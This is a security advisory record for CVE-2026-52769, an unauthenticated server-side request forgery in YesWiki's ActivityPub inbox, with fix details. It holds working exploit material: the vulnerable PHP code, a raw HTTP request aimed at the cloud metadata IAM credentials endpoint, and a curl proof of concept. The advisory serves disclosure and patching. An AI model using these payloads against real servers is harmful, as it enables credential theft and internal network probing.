{"id":"CVE-2026-52769","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-52769","summary":"YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`","details":"## Summary\nThe `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:\"public\"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83–100)\npublic function verifySignature(Request $request) {\n    if (!$request->headers->has('Signature')) {\n        throw new Exception('No signature');\n    }\n\n    $sigConf = parse_ini_string(\n        strtr($request->headers->get('Signature'), [\",\" => \"\\n\"])           // (a) attacker controls every field\n    );\n\n    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {\n        throw new Exception('Malformed signature');\n    }\n\n    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,\n        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme\n    ]);                                                                  //     pinning, no IP filtering\n    ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php  (lines 125–145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n    $activityPubService   = $this->getService(ActivityPubService::class);\n    $httpSignatureService = $this->getService(HttpSignatureService::class);\n\n    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];\n\n    if ($activityPubService->isEnabled($form)) {\n        $activity = json_decode($request->getContent(), true);\n\n        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here\n        $activityPubService->processActivity($activity, $form);\n        return new ApiResponse(null, Response::HTTP_OK, …);\n    } else {\n        throw new NotFoundHttpException();\n    }\n}\n```\n\nThe flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`.\n* YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n    \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n     FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n     -d '{}' \\\n     -w '\\n  HTTP %{http_code}, elapsed=%{time_total}s\\n'\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:…\"}\n  HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse — the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n<img width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" />","published":"2026-07-09T20:58:33Z","modified":"2026-07-09T21:00:18.612631378Z","cvss":{"score":8.3,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.6.6"}],"fix":{"url":"http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487","label":"YesWiki/yeswiki@87e627f"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"},{"type":"WEB","url":"http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T21:00:18.612631378Z"}}